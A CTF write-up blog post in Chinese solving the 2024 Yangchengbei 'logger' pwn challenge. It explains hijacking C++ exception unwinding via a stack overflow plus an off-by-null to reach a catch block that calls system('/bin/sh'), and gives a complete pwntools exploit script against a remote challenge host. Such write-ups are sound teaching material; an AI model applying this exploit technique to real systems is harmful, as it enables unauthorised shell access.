羊城杯2024 - logger

羊城杯2024 - logger

RocketDev

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE off
strip yes

解题思路

warn函数中如果栈溢出会抛出"Buffer Overflow",以char *丢出来。查看got, 发现有system函数,看到有catch块调用了system,catch类型是const char *

由于char *可以cast到const char *,因此我们如果能跳转到这个地方,就有机会执行命令。

warn函数中,通过栈溢出,我们能够控制rbp和ret addr,而C++正是利用了返回地址来判断被谁catch, 具体可以看这篇文章。因此, 如果我们能把返回地址修改为0x401bc2 + 1,就可以被0x401bc7块catch。经调试, 跳转过去后,rdx为1,会跳过_Unwind_Resume,并且rdi为"Buffer Overflow"的地址。 最后我们只需要把这个字符串改成"/bin/sh"就可以拿shell了。

trace函数可以修改record字符串数组,只要字符串首字符为'\0'就能覆写字符串, 并且存在off-by-null,而"Buffer Overflow"是最后一个字符串,因此写满倒数第二个字符串, 就可以覆写最后一个字符串。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.terminal = ['tmux','splitw','-h']
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './logger'

def payload(lo:int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'b __cxa_throw')
else:
sh = remote('139.155.126.78', 35333)
elf = ELF(EXE)

def trace(tosend: bytes):
sh.sendlineafter(b'****************', b'1')
sh.sendafter(b'details', tosend)
sh.sendlineafter(b'check', b'n')

def warn(tosend: bytes):
sh.sendlineafter(b'****************', b'2')
sh.sendafter(b'message', tosend)

for _ in range(7):
trace(b'skip')
trace(b'fillfillfillfill') # clear 'B' in "Buffer Overflow"
trace(b'/bin/sh'.ljust(0xf, b'\0'))
warn(b'0'*0x70 + p64(0x404800) + p64(0x401bc3))

sh.clean()
sh.interactive()

flag

参考

溢出漏洞在异常处理中的攻击利用手法-上

  • 标题: 羊城杯2024 - logger
  • 作者: RocketDev
  • 创建于 : 2024-10-21 01:28:00
  • 更新于 : 2024-10-27 11:38:00
  • 链接: https://rocketmadev.github.io/2024/10/20/logger/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
羊城杯2024 - logger